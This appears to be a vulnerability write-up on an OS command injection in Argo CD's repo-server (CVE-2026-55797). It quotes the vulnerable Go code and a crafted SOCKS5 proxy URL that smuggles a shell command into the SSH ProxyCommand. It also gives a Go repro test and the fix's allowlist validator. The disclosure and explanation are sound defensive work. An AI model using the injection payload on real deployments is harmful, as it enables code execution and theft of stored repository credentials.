Argo CD repo-server command injection via crafted SSH repository SOCKS5 proxy URL

· 4 min read · #cve #go

CVE: CVE-2026-55797 — GHSA-j6cw-g6p4-7hch

Component: Argo CD repo-server — util/git/creds.go

Class: OS command injection (CWE-78)

Fix: commit 1e3ddd0

Diagram of how the CVE-2026-55797 command injection works

The vulnerable code

args = append(args, "-o", fmt.Sprintf("ProxyCommand='connect-proxy -S %s:%s -5 %%h %%p'",
    parsedProxyURL.Hostname(), parsedProxyURL.Port()))

fmt.Sprintf simply concatenates text. It neither knows nor cares that the result will eventually be passed to a shell. To it, parsedProxyURL.Hostname() and parsedProxyURL.Port() are just ordinary strings to be inserted into the template.

parsedProxyURL comes from url.Parse(c.proxy) a couple of lines earlier. url.Parse parses the URL syntactically — it verifies that it is a valid URL (with the scheme, host, and port in the correct places) but does not check whether the host consists of “safe” characters. A URL like this:

socks5://x$(touch${IFS}/tmp/pwned):1080

is perfectly valid for url.Parse: Hostname() returns x$(touch${IFS}/tmp/pwned) exactly as is — it is a valid hostname from the perspective of URL syntax (which allows a very permissive set of characters), even though it would never resolve as a DNS name.

This string is then passed — without any filtering — into a %s placeholder and ends up inside:

-o ProxyCommand='connect-proxy -S x$(touch${IFS}/tmp/pwned):1080 -5 %h %p'

Attack surface

The repository must use SSH. http, https, and socks5 proxy URLs all take this path when they are set on an SSH repository. An HTTPS Git repository uses the proxy as an HTTP proxy and does not build this command.

Anyone who can create or update a repository or a repository credential template can set the proxy. That includes a project-scoped repository permission, argocd repo add --proxy, and a repository Secret. A credential template applies its proxy to every matching SSH repository that does not have its own credentials. Argo CD runs the command when it tests the repository connection and on later fetches. The process can read other Git, Helm, and OCI credentials stored for the repo-server.

How to test

If you don’t want to test it on your own version or spin up Argo for testing, you can write a mini-test in Go. I’ve added a test to util/git/repro_test.go:

package git

import (
	"fmt"
	"strings"
	"testing"
)

func TestProxyInjectionRepro(t *testing.T) {
	dummyKey := "-----BEGIN OPENSSH PRIVATE KEY-----\nAAAA\n-----END OPENSSH PRIVATE KEY-----"

	malicious := "socks5://x$(touch${IFS}/tmp/pwned_poc):1080"

	creds := SSHCreds{sshPrivateKey: dummyKey, proxy: malicious}
	closer, env, err := creds.Environ()
	if err != nil {
		t.Fatalf("Environ() error: %v", err)
	}
	defer closer.Close()

	for _, e := range env {
		if strings.HasPrefix(e, "GIT_SSH_COMMAND=") {
			fmt.Println("[*] Constructed GIT_SSH_COMMAND:\n" + e)
		}
	}
}

Run:

go test ./util/git/ -run TestProxyInjectionRepro -v

Example of shell execution:

PoC: the injected command runs on the repo-server

The fix

Commit 1e3ddd0 introduces an allowlist-based validation of the proxy URL:

	// validProxyHostRegexp matches only safe hostname characters: alphanumeric, hyphen, dot, and brackets (for IPv6).
	validProxyHostRegexp = regexp.MustCompile(`^[a-zA-Z0-9.\-]+$`)
func validateProxyURL(rawURL string) error {
	return validateProxyURLWithSchemes(rawURL, "socks5", "socks5h")
}

// ValidateHTTPProxyURL validates a proxy URL for HTTP/HTTPS creds (GitHub App,
// Azure Service Principal, HTTPS creds). It accepts http, https, socks5 and
// socks5h schemes.
func ValidateHTTPProxyURL(rawURL string) error {
	return validateProxyURLWithSchemes(rawURL, "http", "https", "socks5", "socks5h")
}

func validateProxyURLWithSchemes(rawURL string, allowedSchemes ...string) error {
	parsed, err := url.Parse(rawURL)
	if err != nil {
		return fmt.Errorf("invalid proxy URL: %w", err)
	}

	schemeOK := slices.Contains(allowedSchemes, parsed.Scheme)
	if !schemeOK {
		return fmt.Errorf("invalid proxy scheme %q: only %v are supported", parsed.Scheme, allowedSchemes)
	}

	host := parsed.Hostname()
	if host == "" {
		return errors.New("proxy URL has empty hostname")
	}
	if strings.Contains(host, ":") {
		// Treat as IPv6 — validate with net.ParseIP which understands all
		// valid IPv6 formats and rejects anything containing shell metacharacters.
		if net.ParseIP(host) == nil {
			return fmt.Errorf("proxy hostname %q is not a valid IPv6 address", host)
		}
	} else {
		// DNS name or IPv4 — allow only alphanumerics, hyphens, and dots.
		if !validProxyHostRegexp.MatchString(host) {
			return fmt.Errorf("proxy hostname %q contains unsafe characters: only alphanumerics, hyphens, and dots are allowed", host)
		}
	}

	portStr := parsed.Port()
	if portStr == "" {
		return errors.New("proxy URL has no port")
	}
	port, err := strconv.Atoi(portStr)
	if err != nil || port < 1 || port > 65535 {
		return fmt.Errorf("proxy port %q is not a valid TCP port (must be 1-65535)", portStr)
	}

	return nil
}

And finally, the test on the fixed branch:

Test passing on the fixed branch

References

  1. GHSA-j6cw-g6p4-7hch
  2. argo-cd commit 9b27aeb
  3. argo-cd commit 1e3ddd0